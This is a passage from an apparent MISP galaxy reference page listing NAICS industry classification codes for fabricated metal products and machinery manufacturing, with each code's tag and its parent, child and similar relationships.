- parent-of: misp-galaxy:naics="3328" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

3321

Forging and Stamping

The tag is: *misp-galaxy:naics="3321"*

View relationships graph

3321 has relationships with:

- child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332117" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332119" with estimative-language:likelihood-probability="likely"

33211

Forging and Stamping

The tag is: *misp-galaxy:naics="33211"*

View relationships graph

33211 has relationships with:

- child-of: misp-galaxy:naics="3321" with estimative-language:likelihood-probability="likely"

332111

Iron and Steel Forging

The tag is: *misp-galaxy:naics="332111"*

View relationships graph

332111 has relationships with:

- child-of: misp-galaxy:naics="3321" with estimative-language:likelihood-probability="likely"

332112

Nonferrous Forging

The tag is: *misp-galaxy:naics="332112"*

View relationships graph

332112 has relationships with:

- child-of: misp-galaxy:naics="3321" with estimative-language:likelihood-probability="likely"

332114

Custom Roll Forming

The tag is: *misp-galaxy:naics="332114"*

View relationships graph

332114 has relationships with:

- child-of: misp-galaxy:naics="3321" with estimative-language:likelihood-probability="likely"

332117

Powder Metallurgy Part Manufacturing

The tag is: *misp-galaxy:naics="332117"*

View relationships graph

332117 has relationships with:

- child-of: misp-galaxy:naics="3321" with estimative-language:likelihood-probability="likely"

332119

Metal Crown, Closure, and Other Metal Stamping (except Automotive)

The tag is: *misp-galaxy:naics="332119"*

View relationships graph

332119 has relationships with:

- child-of: misp-galaxy:naics="3321" with estimative-language:likelihood-probability="likely"

3322

Cutlery and Handtool Manufacturing

The tag is: *misp-galaxy:naics="3322"*

View relationships graph

3322 has relationships with:

- child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332215" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332216" with estimative-language:likelihood-probability="likely"

33221

Cutlery and Handtool Manufacturing

The tag is: *misp-galaxy:naics="33221"*

View relationships graph

33221 has relationships with:

- child-of: misp-galaxy:naics="3322" with estimative-language:likelihood-probability="likely"

332215

Metal Kitchen Cookware, Utensil, Cutlery, and Flatware (except Precious) Manufacturing

The tag is: *misp-galaxy:naics="332215"*

View relationships graph

332215 has relationships with:

- child-of: misp-galaxy:naics="3322" with estimative-language:likelihood-probability="likely"

332216

Saw Blade and Handtool Manufacturing

The tag is: *misp-galaxy:naics="332216"*

View relationships graph

332216 has relationships with:

- child-of: misp-galaxy:naics="3322" with estimative-language:likelihood-probability="likely"

3323

Architectural and Structural Metals Manufacturing

The tag is: *misp-galaxy:naics="3323"*

View relationships graph

3323 has relationships with:

- child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332323" with estimative-language:likelihood-probability="likely"

33231

Plate Work and Fabricated Structural Product Manufacturing

The tag is: *misp-galaxy:naics="33231"*

View relationships graph

33231 has relationships with:

- child-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

332311

Prefabricated Metal Building and Component Manufacturing

The tag is: *misp-galaxy:naics="332311"*

View relationships graph

332311 has relationships with:

- child-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

332312

Fabricated Structural Metal Manufacturing

The tag is: *misp-galaxy:naics="332312"*

View relationships graph

332312 has relationships with:

- child-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

332313

Plate Work Manufacturing

The tag is: *misp-galaxy:naics="332313"*

View relationships graph

332313 has relationships with:

- child-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

33232

Ornamental and Architectural Metal Products Manufacturing

The tag is: *misp-galaxy:naics="33232"*

View relationships graph

33232 has relationships with:

- child-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

332321

Metal Window and Door Manufacturing

The tag is: *misp-galaxy:naics="332321"*

View relationships graph

332321 has relationships with:

- child-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

332322

Sheet Metal Work Manufacturing

The tag is: *misp-galaxy:naics="332322"*

View relationships graph

332322 has relationships with:

- child-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

332323

Ornamental and Architectural Metal Work Manufacturing

The tag is: *misp-galaxy:naics="332323"*

View relationships graph

332323 has relationships with:

- child-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

3324

Boiler, Tank, and Shipping Container Manufacturing

The tag is: *misp-galaxy:naics="3324"*

View relationships graph

3324 has relationships with:

- child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33241" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33242" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33243" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332431" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332439" with estimative-language:likelihood-probability="likely"

33241

Power Boiler and Heat Exchanger Manufacturing

The tag is: *misp-galaxy:naics="33241"*

View relationships graph

33241 has relationships with:

- child-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="332410" with estimative-language:likelihood-probability="likely"

332410

Power Boiler and Heat Exchanger Manufacturing

The tag is: *misp-galaxy:naics="332410"*

View relationships graph

332410 has relationships with:

- child-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33241" with estimative-language:likelihood-probability="likely"

33242

Metal Tank (Heavy Gauge) Manufacturing

The tag is: *misp-galaxy:naics="33242"*

View relationships graph

33242 has relationships with:

- child-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="332420" with estimative-language:likelihood-probability="likely"

332420

Metal Tank (Heavy Gauge) Manufacturing

The tag is: *misp-galaxy:naics="332420"*

View relationships graph

332420 has relationships with:

- child-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33242" with estimative-language:likelihood-probability="likely"

33243

Metal Can, Box, and Other Metal Container (Light Gauge) Manufacturing

The tag is: *misp-galaxy:naics="33243"*

View relationships graph

33243 has relationships with:

- child-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"

332431

Metal Can Manufacturing

The tag is: *misp-galaxy:naics="332431"*

View relationships graph

332431 has relationships with:

- child-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"

332439

Other Metal Container Manufacturing

The tag is: *misp-galaxy:naics="332439"*

View relationships graph

332439 has relationships with:

- child-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"

3325

Hardware Manufacturing

The tag is: *misp-galaxy:naics="3325"*

View relationships graph

3325 has relationships with:

- child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33251" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332510" with estimative-language:likelihood-probability="likely"

33251

Hardware Manufacturing

The tag is: *misp-galaxy:naics="33251"*

View relationships graph

33251 has relationships with:

- child-of: misp-galaxy:naics="3325" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="332510" with estimative-language:likelihood-probability="likely"

332510

Hardware Manufacturing

The tag is: *misp-galaxy:naics="332510"*

View relationships graph

332510 has relationships with:

- child-of: misp-galaxy:naics="3325" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33251" with estimative-language:likelihood-probability="likely"

3326

Spring and Wire Product Manufacturing

The tag is: *misp-galaxy:naics="3326"*

View relationships graph

3326 has relationships with:

- child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33261" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332613" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332618" with estimative-language:likelihood-probability="likely"

33261

Spring and Wire Product Manufacturing

The tag is: *misp-galaxy:naics="33261"*

View relationships graph

33261 has relationships with:

- child-of: misp-galaxy:naics="3326" with estimative-language:likelihood-probability="likely"

332613

Spring Manufacturing

The tag is: *misp-galaxy:naics="332613"*

View relationships graph

332613 has relationships with:

- child-of: misp-galaxy:naics="3326" with estimative-language:likelihood-probability="likely"

332618

Other Fabricated Wire Product Manufacturing

The tag is: *misp-galaxy:naics="332618"*

View relationships graph

332618 has relationships with:

- child-of: misp-galaxy:naics="3326" with estimative-language:likelihood-probability="likely"

3327

Machine Shops; Turned Product; and Screw, Nut, and Bolt Manufacturing

The tag is: *misp-galaxy:naics="3327"*

View relationships graph

3327 has relationships with:

- child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33271" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332710" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33272" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332722" with estimative-language:likelihood-probability="likely"

33271

Machine Shops

The tag is: *misp-galaxy:naics="33271"*

View relationships graph

33271 has relationships with:

- child-of: misp-galaxy:naics="3327" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="332710" with estimative-language:likelihood-probability="likely"

332710

Machine Shops

The tag is: *misp-galaxy:naics="332710"*

View relationships graph

332710 has relationships with:

- child-of: misp-galaxy:naics="3327" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33271" with estimative-language:likelihood-probability="likely"

33272

Turned Product and Screw, Nut, and Bolt Manufacturing

The tag is: *misp-galaxy:naics="33272"*

View relationships graph

33272 has relationships with:

- child-of: misp-galaxy:naics="3327" with estimative-language:likelihood-probability="likely"

332721

Precision Turned Product Manufacturing

The tag is: *misp-galaxy:naics="332721"*

View relationships graph

332721 has relationships with:

- child-of: misp-galaxy:naics="3327" with estimative-language:likelihood-probability="likely"

332722

Bolt, Nut, Screw, Rivet, and Washer Manufacturing

The tag is: *misp-galaxy:naics="332722"*

View relationships graph

332722 has relationships with:

- child-of: misp-galaxy:naics="3327" with estimative-language:likelihood-probability="likely"

3328

Coating, Engraving, Heat Treating, and Allied Activities

The tag is: *misp-galaxy:naics="3328"*

View relationships graph

3328 has relationships with:

- child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33281" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332813" with estimative-language:likelihood-probability="likely"

33281

Coating, Engraving, Heat Treating, and Allied Activities

The tag is: *misp-galaxy:naics="33281"*

View relationships graph

33281 has relationships with:

- child-of: misp-galaxy:naics="3328" with estimative-language:likelihood-probability="likely"

332811

Metal Heat Treating

The tag is: *misp-galaxy:naics="332811"*

View relationships graph

332811 has relationships with:

- child-of: misp-galaxy:naics="3328" with estimative-language:likelihood-probability="likely"

332812

Metal Coating, Engraving (except Jewelry and Silverware), and Allied Services to Manufacturers

The tag is: *misp-galaxy:naics="332812"*

View relationships graph

332812 has relationships with:

- child-of: misp-galaxy:naics="3328" with estimative-language:likelihood-probability="likely"

332813

Electroplating, Plating, Polishing, Anodizing, and Coloring

The tag is: *misp-galaxy:naics="332813"*

View relationships graph

332813 has relationships with:

- child-of: misp-galaxy:naics="3328" with estimative-language:likelihood-probability="likely"

3329

Other Fabricated Metal Product Manufacturing

The tag is: *misp-galaxy:naics="3329"*

View relationships graph

3329 has relationships with:

- child-of: misp-galaxy:naics="332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332911" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332912" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332913" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332919" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33299" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332992" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="332993" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332994" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332996" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="332999" with estimative-language:likelihood-probability="likely"

33291

Metal Valve Manufacturing

The tag is: *misp-galaxy:naics="33291"*

View relationships graph

33291 has relationships with:

- child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

332911

Industrial Valve Manufacturing

The tag is: *misp-galaxy:naics="332911"*

View relationships graph

332911 has relationships with:

- child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

332912

Fluid Power Valve and Hose Fitting Manufacturing

The tag is: *misp-galaxy:naics="332912"*

View relationships graph

332912 has relationships with:

- child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

332913

Plumbing Fixture Fitting and Trim Manufacturing

The tag is: *misp-galaxy:naics="332913"*

View relationships graph

332913 has relationships with:

- child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

332919

Other Metal Valve and Pipe Fitting Manufacturing

The tag is: *misp-galaxy:naics="332919"*

View relationships graph

332919 has relationships with:

- child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

33299

All Other Fabricated Metal Product Manufacturing

The tag is: *misp-galaxy:naics="33299"*

View relationships graph

33299 has relationships with:

- child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

332991

Ball and Roller Bearing Manufacturing

The tag is: *misp-galaxy:naics="332991"*

View relationships graph

332991 has relationships with:

- child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

332992

Small Arms Ammunition Manufacturing

The tag is: *misp-galaxy:naics="332992"*

View relationships graph

332992 has relationships with:

- child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

332993

Ammunition (except Small Arms) Manufacturing

The tag is: *misp-galaxy:naics="332993"*

View relationships graph

332993 has relationships with:

- child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

332994

Small Arms, Ordnance, and Ordnance Accessories Manufacturing

The tag is: *misp-galaxy:naics="332994"*

View relationships graph

332994 has relationships with:

- child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

332996

Fabricated Pipe and Pipe Fitting Manufacturing

The tag is: *misp-galaxy:naics="332996"*

View relationships graph

332996 has relationships with:

- child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

332999

All Other Miscellaneous Fabricated Metal Product Manufacturing

The tag is: *misp-galaxy:naics="332999"*

View relationships graph

332999 has relationships with:

- child-of: misp-galaxy:naics="3329" with estimative-language:likelihood-probability="likely"

333

Machinery Manufacturing

The tag is: *misp-galaxy:naics="333"*

View relationships graph

333 has relationships with:

- parent-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3333" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3334" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3335" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3336" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

3331

Agriculture, Construction, and Mining Machinery Manufacturing

The tag is: *misp-galaxy:naics="3331"*

View relationships graph

3331 has relationships with:

- child-of: misp-galaxy:naics="333" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333132" with estimative-language:likelihood-probability="likely"

33311

Agricultural Implement Manufacturing

The tag is: *misp-galaxy:naics="33311"*

View relationships graph

33311 has relationships with:

- child-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"

333111

Farm Machinery and Equipment Manufacturing

The tag is: *misp-galaxy:naics="333111"*

View relationships graph

333111 has relationships with:

- child-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"

333112

Lawn and Garden Tractor and Home Lawn and Garden Equipment Manufacturing

The tag is: *misp-galaxy:naics="333112"*

View relationships graph

333112 has relationships with:

- child-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"

33312

Construction Machinery Manufacturing

The tag is: *misp-galaxy:naics="33312"*

View relationships graph

33312 has relationships with:

- child-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="333120" with estimative-language:likelihood-probability="likely"

333120

Construction Machinery Manufacturing

The tag is: *misp-galaxy:naics="333120"*

View relationships graph

333120 has relationships with:

- child-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33312" with estimative-language:likelihood-probability="likely"

33313

Mining and Oil and Gas Field Machinery Manufacturing

The tag is: *misp-galaxy:naics="33313"*

View relationships graph

33313 has relationships with:

- child-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"

333131

Mining Machinery and Equipment Manufacturing

The tag is: *misp-galaxy:naics="333131"*

View relationships graph

333131 has relationships with:

- child-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"

333132

Oil and Gas Field Machinery and Equipment Manufacturing

The tag is: *misp-galaxy:naics="333132"*

View relationships graph

333132 has relationships with:

- child-of: misp-galaxy:naics="3331" with estimative-language:likelihood-probability="likely"

3332

Industrial Machinery Manufacturing

The tag is: *misp-galaxy:naics="3332"*

View relationships graph

3332 has relationships with:

- child-of: misp-galaxy:naics="333" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33324" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333241" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333242" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333243" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333248" with estimative-language:likelihood-probability="likely"

33324

Industrial Machinery Manufacturing

The tag is: *misp-galaxy:naics="33324"*

View relationships graph

33324 has relationships with:

- child-of: misp-galaxy:naics="3332" with estimative-language:likelihood-probability="likely"

333241

Food Product Machinery Manufacturing

The tag is: *misp-galaxy:naics="333241"*

View relationships graph

333241 has relationships with:

- child-of: misp-galaxy:naics="3332" with estimative-language:likelihood-probability="likely"

333242

Semiconductor Machinery Manufacturing

The tag is: *misp-galaxy:naics="333242"*

View relationships graph

333242 has relationships with:

- child-of: misp-galaxy:naics="3332" with estimative-language:likelihood-probability="likely"

333243

Sawmill, Woodworking, and Paper Machinery Manufacturing

The tag is: *misp-galaxy:naics="333243"*

View relationships graph

333243 has relationships with:

- child-of: misp-galaxy:naics="3332" with estimative-language:likelihood-probability="likely"

333248

All Other Industrial Machinery Manufacturing

The tag is: *misp-galaxy:naics="333248"*

View relationships graph

333248 has relationships with:

- child-of: misp-galaxy:naics="3332" with estimative-language:likelihood-probability="likely"

3333

Commercial and Service Industry Machinery Manufacturing

The tag is: *misp-galaxy:naics="3333"*

View relationships graph

3333 has relationships with:

- child-of: misp-galaxy:naics="333" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333310" with estimative-language:likelihood-probability="likely"

33331

Commercial and Service Industry Machinery Manufacturing

The tag is: *misp-galaxy:naics="33331"*

View relationships graph

33331 has relationships with:

- child-of: misp-galaxy:naics="3333" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="333310" with estimative-language:likelihood-probability="likely"

333310

Commercial and Service Industry Machinery Manufacturing

The tag is: *misp-galaxy:naics="333310"*

View relationships graph

333310 has relationships with:

- child-of: misp-galaxy:naics="3333" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33331" with estimative-language:likelihood-probability="likely"

3334

Ventilation, Heating, Air-Conditioning, and Commercial Refrigeration Equipment Manufacturing

The tag is: *misp-galaxy:naics="3334"*

View relationships graph

3334 has relationships with:

- child-of: misp-galaxy:naics="333" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33341" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333413" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333414" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333415" with estimative-language:likelihood-probability="likely"

33341

Ventilation, Heating, Air-Conditioning, and Commercial Refrigeration Equipment Manufacturing

The tag is: *misp-galaxy:naics="33341"*

View relationships graph

33341 has relationships with:

- child-of: misp-galaxy:naics="3334" with estimative-language:likelihood-probability="likely"

333413

Industrial and Commercial Fan and Blower and Air Purification Equipment Manufacturing

The tag is: *misp-galaxy:naics="333413"*

View relationships graph

333413 has relationships with:

- child-of: misp-galaxy:naics="3334" with estimative-language:likelihood-probability="likely"

333414

Heating Equipment (except Warm Air Furnaces) Manufacturing

The tag is: *misp-galaxy:naics="333414"*

View relationships graph

333414 has relationships with:

- child-of: misp-galaxy:naics="3334" with estimative-language:likelihood-probability="likely"

333415

Air-Conditioning and Warm Air Heating Equipment and Commercial and Industrial Refrigeration Equipment Manufacturing

The tag is: *misp-galaxy:naics="333415"*

View relationships graph

333415 has relationships with:

- child-of: misp-galaxy:naics="3334" with estimative-language:likelihood-probability="likely"

3335

Metalworking Machinery Manufacturing

The tag is: *misp-galaxy:naics="3335"*

View relationships graph

3335 has relationships with:

- child-of: misp-galaxy:naics="333" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33351" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333514" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333515" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333517" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333519" with estimative-language:likelihood-probability="likely"

33351

Metalworking Machinery Manufacturing

The tag is: *misp-galaxy:naics="33351"*

View relationships graph

33351 has relationships with:

- child-of: misp-galaxy:naics="3335" with estimative-language:likelihood-probability="likely"

333511

Industrial Mold Manufacturing

The tag is: *misp-galaxy:naics="333511"*

View relationships graph

333511 has relationships with:

- child-of: misp-galaxy:naics="3335" with estimative-language:likelihood-probability="likely"

333514

Special Die and Tool, Die Set, Jig, and Fixture Manufacturing

The tag is: *misp-galaxy:naics="333514"*

View relationships graph

333514 has relationships with:

- child-of: misp-galaxy:naics="3335" with estimative-language:likelihood-probability="likely"

333515

Cutting Tool and Machine Tool Accessory Manufacturing

The tag is: *misp-galaxy:naics="333515"*

View relationships graph

333515 has relationships with:

- child-of: misp-galaxy:naics="3335" with estimative-language:likelihood-probability="likely"

333517

Machine Tool Manufacturing

The tag is: *misp-galaxy:naics="333517"*

View relationships graph

333517 has relationships with:

- child-of: misp-galaxy:naics="3335" with estimative-language:likelihood-probability="likely"

333519

Rolling Mill and Other Metalworking Machinery Manufacturing

The tag is: *misp-galaxy:naics="333519"*

View relationships graph

333519 has relationships with:

- child-of: misp-galaxy:naics="3335" with estimative-language:likelihood-probability="likely"

3336

Engine, Turbine, and Power Transmission Equipment Manufacturing

The tag is: *misp-galaxy:naics="3336"*

View relationships graph

3336 has relationships with:

- child-of: misp-galaxy:naics="333" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33361" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333613" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333618" with estimative-language:likelihood-probability="likely"

33361

Engine, Turbine, and Power Transmission Equipment Manufacturing

The tag is: *misp-galaxy:naics="33361"*

View relationships graph

33361 has relationships with:

- child-of: misp-galaxy:naics="3336" with estimative-language:likelihood-probability="likely"

333611

Turbine and Turbine Generator Set Units Manufacturing

The tag is: *misp-galaxy:naics="333611"*

View relationships graph

333611 has relationships with:

- child-of: misp-galaxy:naics="3336" with estimative-language:likelihood-probability="likely"

333612

Speed Changer, Industrial High-Speed Drive, and Gear Manufacturing

The tag is: *misp-galaxy:naics="333612"*

View relationships graph

333612 has relationships with:

- child-of: misp-galaxy:naics="3336" with estimative-language:likelihood-probability="likely"

333613

Mechanical Power Transmission Equipment Manufacturing

The tag is: *misp-galaxy:naics="333613"*

View relationships graph

333613 has relationships with:

- child-of: misp-galaxy:naics="3336" with estimative-language:likelihood-probability="likely"

333618

Other Engine Equipment Manufacturing

The tag is: *misp-galaxy:naics="333618"*

View relationships graph

333618 has relationships with:

- child-of: misp-galaxy:naics="3336" with estimative-language:likelihood-probability="likely"

3339

Other General Purpose Machinery Manufacturing

The tag is: *misp-galaxy:naics="3339"*

View relationships graph

3339 has relationships with:

- child-of: misp-galaxy:naics="333" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33391" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333912" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333914" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33392" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333921" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333922" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333923" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333924" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33399" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333992" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333993" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333994" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333995" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333996" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="333998" with estimative-language:likelihood-probability="likely"

33391

Pump and Compressor Manufacturing

The tag is: *misp-galaxy:naics="33391"*

View relationships graph

33391 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333912

Air and Gas Compressor Manufacturing

The tag is: *misp-galaxy:naics="333912"*

View relationships graph

333912 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333914

Measuring, Dispensing, and Other Pumping Equipment Manufacturing

The tag is: *misp-galaxy:naics="333914"*

View relationships graph

333914 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

33392

Material Handling Equipment Manufacturing

The tag is: *misp-galaxy:naics="33392"*

View relationships graph

33392 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333921

Elevator and Moving Stairway Manufacturing

The tag is: *misp-galaxy:naics="333921"*

View relationships graph

333921 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333922

Conveyor and Conveying Equipment Manufacturing

The tag is: *misp-galaxy:naics="333922"*

View relationships graph

333922 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333923

Overhead Traveling Crane, Hoist, and Monorail System Manufacturing

The tag is: *misp-galaxy:naics="333923"*

View relationships graph

333923 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333924

Industrial Truck, Tractor, Trailer, and Stacker Machinery Manufacturing

